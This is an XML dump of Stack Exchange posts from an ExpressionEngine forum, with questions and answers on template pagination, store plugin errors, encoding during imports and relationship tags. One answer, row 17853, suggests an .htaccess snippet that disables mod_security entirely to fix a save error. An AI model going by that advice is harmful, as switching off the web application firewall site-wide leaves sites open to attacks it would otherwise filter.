  <row Id="17839" PostTypeId="2" ParentId="17835" CreationDate="2013-12-19T14:16:57.000" Score="1" Body="&lt;p&gt;In 2.7.3 there are variables within grid, see &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/grid.html#variables&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/grid.html#variables&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{fieldname:count} //the current row being displayed&#xA;{fieldname:field_row_count} //how many rows are in the grid&#xA;{fieldname:total_rows} //the rows being returned by the query&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="900" LastActivityDate="2013-12-19T14:16:57.000" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17840" PostTypeId="1" CreationDate="2013-12-19T14:37:37.993" Score="2" ViewCount="250" Body="&lt;p&gt;I have an odd problem with EE 2.5.3 outputting multiple urls preceding the correct pagination segment when using this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{paginate}&#xA;{if next_page}&#xA;&amp;lt;a href=&quot;{auto_path}&quot;Next&amp;lt;/a&amp;gt;&#xA;{/if}&#xA;{/paginate}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It outputs the following: &lt;code&gt;http://www.domain.co.uk/http://www.domain.co.uk/http://www.domain.co.uk/news/P6&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Interesting, if manually navigate to &lt;code&gt;http://www.domain.co.uk/P6&lt;/code&gt;   (or P0) then it then outputs the correct link - it is only when there is no pagination segment in the url that it does not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I change the setting &quot;URL to the root directory of your site&quot; in the general config from &lt;code&gt;http://www.domain.co.uk/&lt;/code&gt; to just &lt;code&gt;/&lt;/code&gt; then it works and outputs the correct link.  However, this causes other problems with sitemaps and so on, so it's not an ideal solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The name of the site's index page is left blank as I am using rewriting to remove the index.php from the urls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is nothing that I can see in the config files that would be adding an additional two &lt;code&gt;http://www.domain.co.uk&lt;/code&gt;s to the output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it might be relevant, the site is using EEHarbour's Transcribe plugin (a pre-release beta of 1.6) and Structure 3.3.13 and Freebie 0.2.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope someone can help!&lt;br&gt;&#xA;Many thanks, Michael&lt;/p&gt;&#xA;" OwnerUserId="2519" LastActivityDate="2014-01-19T09:16:55.357" Title="Pagination {auto_path} outputting 3 x duplicate URL" Tags="|url|config|transcribe|pagination|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17841" PostTypeId="1" CreationDate="2013-12-19T15:56:32.540" Score="2" ViewCount="78" Body="&lt;p&gt;I have v1.6.4 of Expresso Store running on a site with EE v2.6.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When trying to edit the channel with the product details I get the following PHP error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fatal error: Cannot redeclare class Store_config in /SERVERPATH/system/expressionengine/third_party/store/libraries/store_config.php on line 12&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also get the same error when trying to publish a channel entry. Any ideas on how to fix this?&lt;/p&gt;&#xA;" OwnerUserId="2520" LastActivityDate="2013-12-21T22:09:14.463" Title="Expresso Store: Can't add/edit product details - Fatal PHP error" Tags="|expresso-store|expresso|php-errors|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17842" PostTypeId="1" AcceptedAnswerId="17869" CreationDate="2013-12-19T16:01:35.510" Score="0" ViewCount="109" Body="&lt;p&gt;Upon checkout I would like to show the register member check box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the user clicks it I wish for a div to appear with the user name and password field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have working javascript, but when I insert it into the Store:Cart tag it does not work.  Any ideas on getting this to work or an easier method?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function register_member(checkboxName,toggleLyr) {&#xA;&#xA;        var lyr = document.getElementById(toggleLyr);&#xA;        var checkbox = document.getElementById(checkboxName);&#xA;&#xA;        if (checkbox.checked == true) {&#xA;            lyr.style.display = 'block';&#xA;        }&#xA;        else {&#xA;            lyr.style.display = 'none';&#xA;        }&#xA;    }&#xA;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&#xA;&#xA; Register Member Account?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;div id=&quot;register_member&quot; style=&quot;display:none;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&#xA;    Password&#xA;    {field:password}&#xA;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&#xA;    Confirm Password&#xA;    {field:password_confirm}&#xA;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&#xA;    Username&#xA;    {field:username}&#xA;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&#xA;    Screen Name&#xA;    {field:screen_name}&#xA;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;    &amp;lt;/div&amp;gt;&amp;lt;/code&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2376" LastActivityDate="2013-12-20T08:39:25.630" Title="Toggle Register member check box" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17843" PostTypeId="2" ParentId="17829" CreationDate="2013-12-19T16:40:41.567" Score="1" Body="&lt;p&gt;Okay you must set &quot;template_files&quot; to reference your JS file. You also must update your CKEditor JS files as seen here: &lt;a href=&quot;http://get-simple.info/forums/showthread.php?tid=1976&quot; rel=&quot;nofollow&quot;&gt;http://get-simple.info/forums/showthread.php?tid=1976&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2013-12-19T16:40:41.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17844" PostTypeId="1" CreationDate="2013-12-19T16:48:28.450" Score="3" ViewCount="193" Body="&lt;p&gt;We have an existing site running on EE 1.6.8. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We decided to start afresh, clean new site so we have an install of v2.7.1 running. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We’ve built the site, finished the templates and are starting to look at running imports on any old content we want from the EE 1.6.8 site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To achieve this we’re using Solspace’s Importer and have XML feeds for the old data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is some characters are outputting odd characters such as  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;code&gt;Harrison&amp;amp;#8217;s&lt;/code&gt;&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we check the old database table the data looks fine:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ALs8r.png&quot; alt=&quot;Data ok&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where as the XML doesn't:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kDlqr.png&quot; alt=&quot;Wrong characters&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We also have an issue where some entries that have been imported end up showing some strange characters in the new templates. An example of this can be seen here: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VZ6rJ.png&quot; alt=&quot;odd characters&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oddly the XML and entry appear ok for this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/desK9.png&quot; alt=&quot;XML ok&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/S2sOm.png&quot; alt=&quot;Entry OK&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The old DB 'was' Latin1 but has been changed to UTF8 and that the new DB is UTF8 and the page template (RE 2nd problem) are UTF8 also as are the XML files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What have we missed?&lt;/p&gt;&#xA;" OwnerUserId="886" LastActivityDate="2014-01-14T07:01:56.080" Title="Character encoding on export import" Tags="|database|import|xml|character-encoding|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17845" PostTypeId="1" AcceptedAnswerId="18193" CreationDate="2013-12-19T17:00:56.133" Score="2" ViewCount="112" Body="&lt;p&gt;Heyo everyone,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm getting a 501 Method Not Implemented error when saving a specific entry. Screenshot: &lt;a href=&quot;http://d.pr/i/VeFj&quot; rel=&quot;nofollow&quot;&gt;http://d.pr/i/VeFj&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After some googling it looks like a mod_security issue. Has anyone else encountered this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The entry is called &quot;Deus Caritas Est&quot; so it is possible that mod_security is having a conflict with the entry title. I've issued a support request with Nexcess, but wanted to know if anyone else had see that issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="203" LastActivityDate="2014-01-08T15:53:44.167" Title="501 Method Not Implemented error on Nexcess" Tags="|categories|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17846" PostTypeId="1" AcceptedAnswerId="17849" CreationDate="2013-12-19T17:05:07.727" Score="1" ViewCount="217" Body="&lt;p&gt;Still new to EE, and am quickly losing my hair trying to get a blog going, and getting it paginated correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I'm having is that the pagination links move in increments of 6, /news/P6, /news/12 etc....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried removing all the code except for the Title and the &quot;Read More...&quot; link, and pagination still has the same issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;* EDIT *&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also looking to have only 6 entries per page, so that the next page will have the next six entries etc... 6 entries are currently showing on the /news page - which is good. The site has something like 40 entries, but I just want to paginate so only six entries show at a time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;* /EDIT *&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;news&quot;&amp;gt;&#xA;                {exp:channel:entries channel=&quot;news&quot; limit=&quot;6&quot; dynamic=&quot;no&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; paginate=&quot;bottom&quot;}&#xA;                  {paginate}&#xA;&#xA;                      &amp;lt;p id=&quot;pagination&quot;&amp;gt;Page {current_page} of {total_pages} pages {pagination_links}&amp;lt;/p&amp;gt;&#xA;                    {/paginate}&#xA;&#xA;&#xA;                            &amp;lt;li&amp;gt;&#xA;                                &amp;lt;div class=&quot;pic&quot;&amp;gt;&#xA;                                    {if image !=&quot;&quot;}&amp;lt;a href=&quot;{url_title_path='news'}&quot;&amp;gt;&amp;lt;img src=&quot;{image}&quot; alt=&quot;{title}&quot; /&amp;gt;&amp;lt;/a&amp;gt;{/if}&#xA;                                &amp;lt;/div&amp;gt;&#xA;                                &amp;lt;div class=&quot;details&quot;&amp;gt;&#xA;                                    &amp;lt;h5&amp;gt;{title}&amp;lt;/h5&amp;gt;&#xA;                                    &amp;lt;p&amp;gt;{if &quot;{content:has_excerpt}&quot;}{content:excerpt}{if:else}{content}{/if} &#xA;                                    &amp;lt;/p&amp;gt; &#xA;                                    {if video_embed != &quot;&quot;}{video_embed}{/if}&#xA;                                     {if slideshow} &#xA;                                    {slideshow limit=&quot;10&quot;}&amp;lt;a href=&quot;{comment_url_title_auto_path}&quot; style=&quot;float:left;&quot;&amp;gt;{exp:ce_img:pair src=&quot;{url}&quot; max=&quot;100&quot; crop=&quot;yes&quot;}&amp;lt;img src=&quot;{made}&quot; alt=&quot;{title}&quot; /&amp;gt;{/exp:ce_img:pair}&amp;lt;/a&amp;gt;{/slideshow}&#xA;                               {/if}&#xA;                                    &amp;lt;a href=&quot;{comment_url_title_auto_path}&quot; style=&quot;clear:all;&quot;&amp;gt;Read More...&amp;lt;/a&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;/li&amp;gt;&#xA;                {/exp:channel:entries}&#xA;&#xA;                        &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1954" LastEditorUserId="1954" LastEditDate="2013-12-19T17:41:04.923" LastActivityDate="2013-12-19T17:41:04.923" Title="Blog + Pagination?" Tags="|pagination|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17847" PostTypeId="2" ParentId="17846" CreationDate="2013-12-19T17:10:18.457" Score="1" Body="&lt;p&gt;You have a &lt;code&gt;limit=&quot;6&quot;&lt;/code&gt; so your paginated urls will be in increments of 6. What you have working correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;P6&lt;/code&gt; in the url is basically an offset count so EE knows which entry in the count/order to begin with. &lt;code&gt;P6&lt;/code&gt; will start with entry 7 in your determined order.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-12-19T17:10:18.457" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17848" PostTypeId="2" ParentId="17795" CreationDate="2013-12-19T17:19:02.747" Score="4" Body="&lt;p&gt;Another simple idea...  Name your images like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;December-1.jpg&#xA;December-2.jpg&#xA;December-3.jpg&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Manually upload the images to the server... in your template call image like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;/path/to/images/{current_time format=&quot;%F-%j&quot;}.jpg&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The image for the current day will always be called.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;EE date formatting options are here:&lt;br&gt;&#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/date_variable_formatting.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/templates/date_variable_formatting.html&lt;/a&gt;  &lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-12-19T17:19:02.747" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17849" PostTypeId="2" ParentId="17846" CreationDate="2013-12-19T17:30:33.433" Score="2" Body="&lt;p&gt;The code you posted is correct for what you're wanting to achieve.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot; limit=&quot;6&quot; dynamic=&quot;no&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; paginate=&quot;bottom&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code will get you 6 entries per pagination page and your pagination URLs will increment by 6 because you have &lt;code&gt;limit=&quot;6&quot;&lt;/code&gt; set. If you change that to &lt;code&gt;limit=&quot;10&quot;&lt;/code&gt;, you still see 10 entries per page and URLs that increment by 10.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-12-19T17:30:33.433" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="17850" PostTypeId="1" CreationDate="2013-12-19T17:40:17.530" Score="1" ViewCount="230" Body="&lt;p&gt;I'm hoping someone can give me a pointer on narrowing my returned entries on the basis of nested playa parent relationships. Here's the scoop:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a 4 inter-related channels: companies, people, tasks and task statuses.  Companies are at the top of the food chain - a lot of the display of the entries in my channels is determine by the company.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;People are assigned to companies.  When the user logs in, their parent company is stashed as a site variable (member_company_id).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tasks are assigned to companies, and tasks may be shared with multiple companies since they are one central list of tasks.  Tasks therefore have a playa relationship field assigned to the companies channel. On the home screen, when the user logs in, they need to see the list of tasks assigned to their company.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, all of the above works nicely with playa parents.  Where I'm having trouble is the next layer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My task statuses channel includes 2 playa fields - one for related company and one for related task.  The idea being that each company will be assigning a &quot;status&quot; to each task they have been assigned.  But because the task itself is not exclusive to the company, the task status must be an entry whose display is based on both relationship fields at the same time. I thought that the relationship to companies would cascade down through the nested parent chain, but I'm discovering that they are not.  Here's my template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;member_details&quot; limit=&quot;1&quot;}&#xA;{exp:channel:entries channel=&quot;comp&quot; limit=&quot;1&quot; entry_id=&quot;{member_company_id}&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; disable=&quot;member_data|pagination&quot; dynamic=&quot;no&quot; cache=&quot;yes&quot; refresh=&quot;720&quot;}&#xA;&#xA;{!-- FETCH TASKS ASSIGNED TO CURRENT LOGGED IN MEMBER COMPANY --}&#xA;&#xA;{exp:playa:parents channel=&quot;tasks&quot; field=&quot;cf_tasks_related_companies&quot; var_prefix=&quot;tasks&quot;}&#xA;&#xA;    &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;large-8 columns&quot;&amp;gt;&#xA;            &amp;lt;h5&amp;gt;{tasks:title}&amp;lt;/h5&amp;gt;&#xA;            &amp;lt;p class=&quot;smaller&quot;&amp;gt;{tasks:cf_tasks_description}&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;large-4 columns&quot;&amp;gt;&#xA;            {!-- FETCH STATUS OF EACH TASK --}&#xA;&#xA;            {tasks:exp:playa:parents limit=&quot;1&quot; channel=&quot;status&quot; field=&quot;cf_status_related_task&quot; var_prefix=&quot;status&quot;}&#xA;                {if status:no_parents}&amp;lt;a href=&quot;#&quot; class=&quot;button tiny secondary&quot; data-reveal-id=&quot;updateStatusModal&quot;&amp;gt;Add Status&amp;lt;/a&amp;gt;{/if}&#xA;                &amp;lt;div class=&quot;smaller&quot; style=&quot;margin-bottom: 1.0em;&quot;&amp;gt;&#xA;                    &amp;lt;div&amp;gt;Status: {status:cf_status_current:label}&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div&amp;gt;Target: {status:cf_status_target_date format=&quot;%M %d %Y&quot;}&amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;p&amp;gt;&amp;lt;a href=&quot;#&quot; class=&quot;button tiny secondary&quot; data-reveal-id=&quot;updateStatusModal&quot;&amp;gt;Update Status&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;            {/tasks:exp:playa:parents}&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;{/exp:playa:parents}&#xA;&#xA;{/exp:channel:entries}&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I'm finding is that when I log in as a member of company XYZ, I correctly get the tasks assigned to that company.  However, the task statuses being returned by tasks:exp:playa:parents are not limited to the company and instead I'm getting all task statuses assigned to task A.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to limit the returned entries in the fashion I am looking for with the nested parents tags, or am I going to need a custom query?&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2013-12-19T17:45:58.593" LastActivityDate="2014-02-10T01:29:03.460" Title="Limiting results returned by nested playa parents tags" Tags="|playa|relationships|query|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17852" PostTypeId="2" ParentId="17833" CreationDate="2013-12-19T18:12:59.603" Score="6" Body="&lt;p&gt;There is a hard limit of 4096 columns in a MySQL table. Each site in MSM creates additional columns in the &lt;code&gt;exp_channel_data&lt;/code&gt; table: 2 columns for each custom field. If you work out how many custom fields you have, double that number and divide it into 4096 and round down you will end up with an approximate maximum for the number of sites that is possible:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Maximum no of sites = 4096 / [No of custom fields] * 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that other factors can effect the maximum number of columns permissable, such as the total allowed row size in a MySQL table (65,535 bytes) [1]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this reason, MSM is not really a scalable solution to the problem of multiple sites which share data. You might be better off sharing data with a parent/base site via an API [2]. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could investigate assigning fieldgroups created in site 1 to channels created in site X, so that those database columns are reused rather than duplicated. This can be done by manually editing the field_group value assigned to a channel in the &lt;code&gt;exp_channel&lt;/code&gt; table. Surprisingly, the CP publish/edit forms work as expected with this change. However, I haven't investigated how this would impact tags used in front-end templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[1] &lt;a href=&quot;http://dev.mysql.com/doc/refman/4.1/en/column-count-limit.html&quot;&gt;http://dev.mysql.com/doc/refman/4.1/en/column-count-limit.html&lt;/a&gt;&lt;br&gt;&#xA;[2] &lt;a href=&quot;http://docs.eeopenapi.apiary.io/&quot;&gt;http://docs.eeopenapi.apiary.io/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="289" LastActivityDate="2013-12-19T18:12:59.603" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17853" PostTypeId="2" ParentId="17845" CreationDate="2013-12-19T18:23:56.953" Score="4" Body="&lt;p&gt;I have have this happen and &lt;a href=&quot;https://expressionengine.stackexchange.com/search?q=mod_security&quot;&gt;&lt;strong&gt;others have as well&lt;/strong&gt;&lt;/a&gt;... Usually comes up as a 403 Forbidden error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/a/16668/28&quot;&gt;&lt;strong&gt;Alex Roper&lt;/strong&gt;&lt;/a&gt; posted this code for disabling in the .htaccess file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_security.c&amp;gt;&#xA;    SecFilterEngine Off&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-12-19T18:23:56.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17854" PostTypeId="2" ParentId="17832" CreationDate="2013-12-19T18:30:32.300" Score="3" Body="&lt;p&gt;You're essentially using the embed as a snippet, so you could do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- viewmodels/categories.html - include the code but don't parse --}&#xA;{stash:embed:viewmodels:categories process=&quot;start&quot; parse=&quot;no&quot;}&#xA;&amp;lt;category_sport_name_ms&amp;gt;&#xA;{exp:stash:get_list name=&quot;export_categories&quot; match=&quot;#^sport$#&quot; against=&quot;type&quot;}&#xA;&amp;lt;str&amp;gt;&amp;lt;![CDATA[{name}]]&amp;gt;&amp;lt;/str&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&amp;lt;/category_sport_name_ms&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In viewmodels/categories.html, just use &lt;code&gt;{entry_id}&lt;/code&gt; instead of &lt;code&gt;{stash:entry_id}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also need to ensure that your list columns are consistent for every row. That means you must use the same column names for each of your three uses of &lt;code&gt;gwcode_categories&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:type}sport{/stash:type}&#xA;{stash:name}{cat_name}{/stash:name}&#xA;{stash:id}{cat_id}{/stash}&#xA;{stash:color}{cat_description}{/stash:color}&#xA;{stash:url}{cat_url_title}{/stash:url}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Leave the value empty if it doesn't exist)&lt;/p&gt;&#xA;" OwnerUserId="289" LastActivityDate="2013-12-19T18:30:32.300" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17855" PostTypeId="2" ParentId="14446" CreationDate="2013-12-19T18:46:57.133" Score="4" Body="&lt;p&gt;Any time i've used it P&amp;amp;T fields so far i've gone with this syntax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{field:preferred_position}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I haven't specifically used checkboxes, but I think its worth a shot.&lt;/p&gt;&#xA;" OwnerUserId="1872" LastActivityDate="2013-12-19T18:46:57.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17856" PostTypeId="2" ParentId="17795" CreationDate="2013-12-19T18:59:42.730" Score="1" Body="&lt;p&gt;Hmm, maybe this is a long shot if you want manual control, but to refresh an image once a day you could also try something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel=&quot;images&quot; cache=&quot;yes&quot; refresh=&quot;1440&quot; orderby=&quot;random&quot;}&#xA;{/exp:channel:entries}&lt;/p&gt;&#xA;" OwnerUserId="2146" LastActivityDate="2013-12-19T18:59:42.730" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17857" PostTypeId="2" ParentId="17826" CreationDate="2013-12-19T19:04:04.923" Score="1" Body="&lt;p&gt;You might want to consider a custom query. I don't know much about exp:gmap:init but the channel entries tag can be a bit of an overkill sometimes when it comes to simple output.&lt;/p&gt;&#xA;" OwnerUserId="2146" LastActivityDate="2013-12-19T19:04:04.923" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17859" PostTypeId="1" CreationDate="2013-12-19T20:44:10.353" Score="2" ViewCount="117" Body="&lt;p&gt;I am building a store that sells books, but also offers subscriptions and downloads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I have the shipping calculated after the user enters their address.  Once the address is entered, the user advanced to the next page with shipping options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like for people who purchase non-shippable items to bypass that page.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any Idea on how I can achieve this?&lt;/p&gt;&#xA;" OwnerUserId="2376" LastActivityDate="2013-12-21T03:15:05.917" Title="Bypass shipping options for downloadable products" Tags="|expresso-store|expresso|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17860" PostTypeId="1" CreationDate="2013-12-19T21:52:47.260" Score="2" ViewCount="168" Body="&lt;p&gt;I am using transcribe and I was wondering if there is a way to display the entry_date in spanish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could probably build a plugin that captures the entry date and returns the appropriate format based on transcribe's current language session, but I was wondering if there is anything out there first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="13" LastActivityDate="2014-03-30T15:05:15.850" Title="displaying spanish version of date while using transcribe" Tags="|multi-language|transcribe|entry-date|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17861" PostTypeId="2" ParentId="17818" CreationDate="2013-12-19T22:04:11.127" Score="1" Body="&lt;p&gt;ok now I found it! :D&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:pair var=&quot;my_matrix&quot;}&#xA;    {exp:playa:children var=&quot;pl&quot;}&#xA;&#xA;        {if {my_matrix:row_count} == {pl:count}}&#xA;&#xA;             &amp;lt;h2&amp;gt;{pl:title}&amp;lt;/h2&amp;gt;&#xA;&#xA;        {/if}&#xA;&#xA;    {/exp:playa:children}&#xA;{/exp:low_variables:pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1659" LastActivityDate="2013-12-19T22:04:11.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
